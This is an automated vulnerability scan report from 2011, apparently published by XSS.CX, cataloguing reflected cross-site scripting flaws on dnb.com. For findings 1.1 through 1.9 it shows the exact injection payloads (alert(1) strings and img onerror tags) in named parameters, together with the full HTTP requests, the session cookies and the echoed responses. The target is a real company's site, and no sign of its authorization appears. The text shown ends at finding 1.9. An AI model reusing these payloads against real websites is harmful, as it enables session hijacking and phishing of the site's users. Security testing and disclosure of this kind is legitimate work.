XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, dnb.com

Report generated by XSS.CX at Thu Sep 15 19:54:54 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. Cross-site scripting (reflected)

XSS in dnb.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86, BHDB, Javascript Injection, Insecure Programming, Weak Configuration, Browser Hijacking, Phishing

1.1. http://www.dnb.com/15166033.html [q parameter]

1.2. http://www.dnb.com/15166033.html [q parameter]

1.3. http://www.dnb.com/15166033.html [q parameter]

1.4. http://www.dnb.com/advscripts/iframedartad.php [hostnetwork parameter]

1.5. http://www.dnb.com/advscripts/iframedartad.php [keyvalues parameter]

1.6. http://www.dnb.com/advscripts/iframedartad.php [name of an arbitrarily supplied request parameter]

1.7. http://www.dnb.com/advscripts/iframedartad.php [networkString parameter]

1.8. http://www.dnb.com/advscripts/iframedartad.php [ord parameter]

1.9. http://www.dnb.com/advscripts/iframedartad.php [sitename parameter]

1.10. http://www.dnb.com/advscripts/iframedartad.php [sz parameter]

1.11. http://www.dnb.com/advscripts/iframedartad.php [tile parameter]

1.12. http://www.dnb.com/advscripts/iframedartad.php [zonename parameter]

1.13. http://www.dnb.com/ [VID cookie]

1.14. http://www.dnb.com/15166033.html [VID cookie]

1.15. http://www.dnb.com/a [VID cookie]

2. Cross-domain Referer leakage

2.1. http://www.dnb.com/15166033.html

2.2. http://www.dnb.com/advscripts/iframedartad.php

2.3. http://www.dnb.com/advscripts/iframedartad.php

2.4. http://www.dnb.com/advscripts/iframedartad.php

2.5. http://www.dnb.com/advscripts/iframedartad.php

3. Cross-domain script include

3.1. http://www.dnb.com/

3.2. http://www.dnb.com/15166033.html

3.3. http://www.dnb.com/advscripts/iframedartad.php

3.4. http://www.dnb.com/advscripts/iframedartad.php

3.5. http://www.dnb.com/advscripts/iframedartad.php

3.6. http://www.dnb.com/advscripts/iframedartad.php

4. Cookie without HttpOnly flag set

4.1. http://www.dnb.com/

4.2. http://www.dnb.com/15166033.html

5. Email addresses disclosed

5.1. http://www.dnb.com/

5.2. http://www.dnb.com/15166033.html

6. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 15 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.dnb.com/15166033.html [q parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /15166033.html

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e9106"%3balert(1)//4e6f06e5dfa was submitted in the q parameter. This input was echoed as e9106";alert(1)//4e6f06e5dfa in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /15166033.html?q=xsse9106"%3balert(1)//4e6f06e5dfa&x=0&y=0 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; PAGEID=803822374; TS=2011%2D09%2D15%2015%3A42%3A13; COMPONENTID=0; s_cc=true; s_len=1211; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.2.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.2.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); IPE_S_51093=51093; style=null; cs=Typed%2FBookmarked; ctc2=2; s_sq=dnb-prod%3D%2526pid%253DD%252526B%252520Home%252520Page%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.dnb.com%25252Fasset%25252Fimage%25252Fcss_backgrounds%25252F15034025.png%2526ot%253DIMAGE

Response

HTTP/1.1 403 Forbidden
Date: Thu, 15 Sep 2011 20:45:06 GMT
Cache-Control: no-cache
Set-Cookie: PAGEID=803825166; Path=/
Set-Cookie: TS=2011%2D09%2D15%2015%3A45%3A06; Path=/
Set-Cookie: COMPONENTID=0; Expires=Sat, 14-Sep-2041 04:36:36 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Content-Length: 61355

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
       <head>
   
       <meta http-equiv="Co
...[SNIP]...
<script language='JavaScript'>
var SearchRez = "xsse9106";alert(1)//4e6f06e5dfa";
</script>
...[SNIP]...

1.2. http://www.dnb.com/15166033.html [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /15166033.html

Issue detail

The value of the q request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10432"><img%20src%3da%20onerror%3dalert(1)>cc0dc1d09dc was submitted in the q parameter. This input was echoed as 10432"><img src=a onerror=alert(1)>cc0dc1d09dc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /15166033.html?q=xss10432"><img%20src%3da%20onerror%3dalert(1)>cc0dc1d09dc&x=0&y=0 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; PAGEID=803822374; TS=2011%2D09%2D15%2015%3A42%3A13; COMPONENTID=0; s_cc=true; s_len=1211; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.2.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.2.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); IPE_S_51093=51093; style=null; cs=Typed%2FBookmarked; ctc2=2; s_sq=dnb-prod%3D%2526pid%253DD%252526B%252520Home%252520Page%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.dnb.com%25252Fasset%25252Fimage%25252Fcss_backgrounds%25252F15034025.png%2526ot%253DIMAGE

Response

HTTP/1.1 403 Forbidden
Date: Thu, 15 Sep 2011 20:45:03 GMT
Cache-Control: no-cache
Set-Cookie: PAGEID=803825120; Path=/
Set-Cookie: TS=2011%2D09%2D15%2015%3A45%3A03; Path=/
Set-Cookie: COMPONENTID=0; Expires=Sat, 14-Sep-2041 04:36:33 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Content-Length: 61409

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
       <head>
   
       <meta http-equiv="Co
...[SNIP]...
<a href="?site=dbcphase1b&client=dbcphase1b&output=xml_no_dtd&num=500&q=xss10432"><img src=a onerror=alert(1)>cc0dc1d09dc&sort=date:D:S:d1">
...[SNIP]...

1.3. http://www.dnb.com/15166033.html [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /15166033.html

Issue detail

The value of the q request parameter is copied into the HTML document as plain text between tags. The payload a8395<img%20src%3da%20onerror%3dalert(1)>0166b6c56e1 was submitted in the q parameter. This input was echoed as a8395<img src=a onerror=alert(1)>0166b6c56e1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /15166033.html?q=xssa8395<img%20src%3da%20onerror%3dalert(1)>0166b6c56e1&x=0&y=0 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; PAGEID=803822374; TS=2011%2D09%2D15%2015%3A42%3A13; COMPONENTID=0; s_cc=true; s_len=1211; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.2.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.2.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); IPE_S_51093=51093; style=null; cs=Typed%2FBookmarked; ctc2=2; s_sq=dnb-prod%3D%2526pid%253DD%252526B%252520Home%252520Page%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.dnb.com%25252Fasset%25252Fimage%25252Fcss_backgrounds%25252F15034025.png%2526ot%253DIMAGE

Response

HTTP/1.1 403 Forbidden
Date: Thu, 15 Sep 2011 20:45:19 GMT
Cache-Control: no-cache
Set-Cookie: PAGEID=803825425; Path=/
Set-Cookie: TS=2011%2D09%2D15%2015%3A45%3A19; Path=/
Set-Cookie: COMPONENTID=0; Expires=Sat, 14-Sep-2041 04:36:49 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Content-Length: 61403

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
       <head>
   
       <meta http-equiv="Co
...[SNIP]...
<h2>Searched for 'xssa8395<img src=a onerror=alert(1)>0166b6c56e1'</h2>
...[SNIP]...

1.4. http://www.dnb.com/advscripts/iframedartad.php [hostnetwork parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /advscripts/iframedartad.php

Issue detail

The value of the hostnetwork request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 280e9'%3balert(1)//612ab368825 was submitted in the hostnetwork parameter. This input was echoed as 280e9';alert(1)//612ab368825 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /advscripts/iframedartad.php?hostnetwork=ad.doubleclick.net280e9'%3balert(1)//612ab368825&networkString=&sitename=hvrs.dnb.main&zonename=DNB_About_Us&keyvalues=;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=&tile=1&sz=990x60&rndTkn=rnd7458ZZZ&ord=5405063 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; PAGEID=803821902; TS=2011%2D09%2D15%2015%3A41%3A42; COMPONENTID=0; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.1.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.1.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 20:43:03 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Content-Length: 1423
Content-Type: text/html; charset=UTF-8


<table id="adBox" cellpadding="0" cellspacing="0" border="0">
<tr>
<td>
<script language=Javascript1.1 src="//ad.doubleclick.net280e9';alert(1)//612ab368825/adj/hvrs.dnb.main/DNB_About_Us;abr=!webtv
...[SNIP]...
<a href="//ad.doubleclick.net280e9';alert(1)//612ab368825/jump/hvrs.dnb.main/DNB_About_Us;abr=!webtv;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60;ord=5405063?">
...[SNIP]...

1.5. http://www.dnb.com/advscripts/iframedartad.php [keyvalues parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /advscripts/iframedartad.php

Issue detail

The value of the keyvalues request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1b1e1'%3balert(1)//50b823496e4 was submitted in the keyvalues parameter. This input was echoed as 1b1e1';alert(1)//50b823496e4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /advscripts/iframedartad.php?hostnetwork=ad.doubleclick.net&networkString=&sitename=hvrs.dnb.main&zonename=DNB_About_Us&keyvalues=;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=1b1e1'%3balert(1)//50b823496e4&tile=1&sz=990x60&rndTkn=rnd7458ZZZ&ord=5405063 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; PAGEID=803821902; TS=2011%2D09%2D15%2015%3A41%3A42; COMPONENTID=0; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.1.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.1.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 20:43:53 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Content-Length: 1423
Content-Type: text/html; charset=UTF-8


<table id="adBox" cellpadding="0" cellspacing="0" border="0">
<tr>
<td>
<script language=Javascript1.1 src="//ad.doubleclick.net/adj/hvrs.dnb.main/DNB_About_Us;abr=!webtv;cid=15015085;node=14881789;
...[SNIP]...
<a href="//ad.doubleclick.net/jump/hvrs.dnb.main/DNB_About_Us;abr=!webtv;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=1b1e1';alert(1)//50b823496e4;tile=1;sz=990x60;ord=5405063?">
...[SNIP]...

1.6. http://www.dnb.com/advscripts/iframedartad.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /advscripts/iframedartad.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload caf85'%3balert(1)//c93f911ad1c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as caf85';alert(1)//c93f911ad1c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /advscripts/iframedartad.php?hostnetwork=ad.doubleclick.net&networkString=&sitename=hvrs.dnb.main&zonename=DNB_About_Us&keyvalues=;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=&tile=1&sz=990x60&rndTkn=rnd7458ZZZ&ord=540/caf85'%3balert(1)//c93f911ad1c5063 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; PAGEID=803821902; TS=2011%2D09%2D15%2015%3A41%3A42; COMPONENTID=0; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.1.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.1.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 20:44:42 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Content-Length: 1428
Content-Type: text/html; charset=UTF-8


<table id="adBox" cellpadding="0" cellspacing="0" border="0">
<tr>
<td>
<script language=Javascript1.1 src="//ad.doubleclick.net/adj/hvrs.dnb.main/DNB_About_Us;abr=!webtv;cid=15015085;node=14881789;
...[SNIP]...
<a href="//ad.doubleclick.net/jump/hvrs.dnb.main/DNB_About_Us;abr=!webtv;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60;ord=540/caf85';alert(1)//c93f911ad1c5063?">
...[SNIP]...

1.7. http://www.dnb.com/advscripts/iframedartad.php [networkString parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /advscripts/iframedartad.php

Issue detail

The value of the networkString request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1da97'%3balert(1)//931c9675e40 was submitted in the networkString parameter. This input was echoed as 1da97';alert(1)//931c9675e40 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /advscripts/iframedartad.php?hostnetwork=ad.doubleclick.net&networkString=1da97'%3balert(1)//931c9675e40&sitename=hvrs.dnb.main&zonename=DNB_About_Us&keyvalues=;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=&tile=1&sz=990x60&rndTkn=rnd7458ZZZ&ord=5405063 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; PAGEID=803821902; TS=2011%2D09%2D15%2015%3A41%3A42; COMPONENTID=0; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.1.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.1.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 20:43:15 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Content-Length: 1423
Content-Type: text/html; charset=UTF-8


<table id="adBox" cellpadding="0" cellspacing="0" border="0">
<tr>
<td>
<script language=Javascript1.1 src="//ad.doubleclick.net/1da97';alert(1)//931c9675e40adj/hvrs.dnb.main/DNB_About_Us;abr=!webtv
...[SNIP]...
<a href="//ad.doubleclick.net/1da97';alert(1)//931c9675e40jump/hvrs.dnb.main/DNB_About_Us;abr=!webtv;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60;ord=5405063?">
...[SNIP]...

1.8. http://www.dnb.com/advscripts/iframedartad.php [ord parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /advscripts/iframedartad.php

Issue detail

The value of the ord request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 27246'%3balert(1)//1d2f7232658 was submitted in the ord parameter. This input was echoed as 27246';alert(1)//1d2f7232658 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /advscripts/iframedartad.php?hostnetwork=ad.doubleclick.net&networkString=&sitename=hvrs.dnb.main&zonename=DNB_About_Us&keyvalues=;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=&tile=1&sz=990x60&rndTkn=rnd7458ZZZ&ord=540506327246'%3balert(1)//1d2f7232658 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; PAGEID=803821902; TS=2011%2D09%2D15%2015%3A41%3A42; COMPONENTID=0; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.1.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.1.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 20:44:30 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Content-Length: 1423
Content-Type: text/html; charset=UTF-8


<table id="adBox" cellpadding="0" cellspacing="0" border="0">
<tr>
<td>
<script language=Javascript1.1 src="//ad.doubleclick.net/adj/hvrs.dnb.main/DNB_About_Us;abr=!webtv;cid=15015085;node=14881789;
...[SNIP]...
<a href="//ad.doubleclick.net/jump/hvrs.dnb.main/DNB_About_Us;abr=!webtv;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60;ord=540506327246';alert(1)//1d2f7232658?">
...[SNIP]...

1.9. http://www.dnb.com/advscripts/iframedartad.php [sitename parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /advscripts/iframedartad.php

Issue detail

The value of the sitename request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c10c3'%3balert(1)//edfbf79fab2 was submitted in the sitename parameter. This input was echoed as c10c3';alert(1)//edfbf79fab2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /advscripts/iframedartad.php?hostnetwork=ad.doubleclick.net&networkString=&sitename=hvrs.dnb.mainc10c3'%3balert(1)//edfbf79fab2&zonename=DNB_About_Us&keyvalues=;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=&tile=1&sz=990x60&rndTkn=rnd7458ZZZ&ord=5405063 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; PAGEID=803821902; TS=2011%2D09%2D15%2015%3A41%3A42; COMPONENTID=0; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.1.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.1.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 20:43:27 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Content-Length: 1423
Content-Type: text/html; charset=UTF-8


<table id="adBox" cellpadding="0" cellspacing="0" border="0">
<tr>
<td>
<script language=Javascript1.1 src="//ad.doubleclick.net/adj/hvrs.dnb.mainc10c3';alert(1)//edfbf79fab2/DNB_About_Us;abr=!webtv
...[SNIP]...
<a href="//ad.doubleclick.net/jump/hvrs.dnb.mainc10c3';alert(1)//edfbf79fab2/DNB_About_Us;abr=!webtv;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60;ord=5405063?">
...[SNIP]...

